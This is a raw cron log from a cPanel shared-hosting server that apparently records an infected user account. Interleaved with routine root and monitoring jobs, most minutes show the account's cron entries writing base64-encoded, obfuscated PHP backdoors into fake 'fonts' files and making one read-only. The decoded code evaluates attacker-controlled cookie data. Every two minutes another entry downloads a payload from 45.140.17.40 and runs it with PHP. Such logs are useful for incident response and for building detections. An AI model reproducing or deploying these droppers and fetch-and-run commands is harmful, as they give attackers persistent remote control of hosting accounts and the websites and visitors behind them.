Sep  7 12:27:02 ip-184-168-122-23 CROND[28903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:27:02 ip-184-168-122-23 CROND[28906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:27:02 ip-184-168-122-23 CROND[28904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:27:02 ip-184-168-122-23 CROND[28905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:28:01 ip-184-168-122-23 CROND[28980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:28:01 ip-184-168-122-23 CROND[28983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:28:01 ip-184-168-122-23 CROND[28982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:28:01 ip-184-168-122-23 CROND[28984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:28:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:29:01 ip-184-168-122-23 CROND[29167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:29:01 ip-184-168-122-23 CROND[29169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:29:01 ip-184-168-122-23 CROND[29168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:29:01 ip-184-168-122-23 CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:30:01 ip-184-168-122-23 CROND[29284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:30:01 ip-184-168-122-23 CROND[29288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29290]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:30:01 ip-184-168-122-23 CROND[29294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:31:01 ip-184-168-122-23 CROND[29411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:31:01 ip-184-168-122-23 CROND[29415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:31:01 ip-184-168-122-23 CROND[29413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:31:01 ip-184-168-122-23 CROND[29414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:31:01 ip-184-168-122-23 CROND[29416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:32:01 ip-184-168-122-23 CROND[29522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:32:01 ip-184-168-122-23 CROND[29523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:32:01 ip-184-168-122-23 CROND[29524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:32:01 ip-184-168-122-23 CROND[29520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:32:01 ip-184-168-122-23 CROND[29521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:33:01 ip-184-168-122-23 CROND[29657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:33:01 ip-184-168-122-23 CROND[29658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:33:01 ip-184-168-122-23 CROND[29659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:33:01 ip-184-168-122-23 CROND[29661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:34:01 ip-184-168-122-23 CROND[29759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:34:01 ip-184-168-122-23 CROND[29760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:34:01 ip-184-168-122-23 CROND[29762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:34:01 ip-184-168-122-23 CROND[29761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:34:01 ip-184-168-122-23 CROND[29764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29961]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:35:01 ip-184-168-122-23 CROND[29962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:36:02 ip-184-168-122-23 CROND[30091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:36:02 ip-184-168-122-23 CROND[30092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:36:02 ip-184-168-122-23 CROND[30094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:36:02 ip-184-168-122-23 CROND[30097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:36:02 ip-184-168-122-23 CROND[30098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:37:01 ip-184-168-122-23 CROND[30186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:37:01 ip-184-168-122-23 CROND[30187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:37:01 ip-184-168-122-23 CROND[30188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:37:01 ip-184-168-122-23 CROND[30185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:38:01 ip-184-168-122-23 CROND[30293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:38:01 ip-184-168-122-23 CROND[30295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:38:01 ip-184-168-122-23 CROND[30297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:38:01 ip-184-168-122-23 CROND[30296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:38:01 ip-184-168-122-23 CROND[30299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:39:01 ip-184-168-122-23 CROND[30390]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 12:39:01 ip-184-168-122-23 CROND[30389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:39:01 ip-184-168-122-23 CROND[30393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
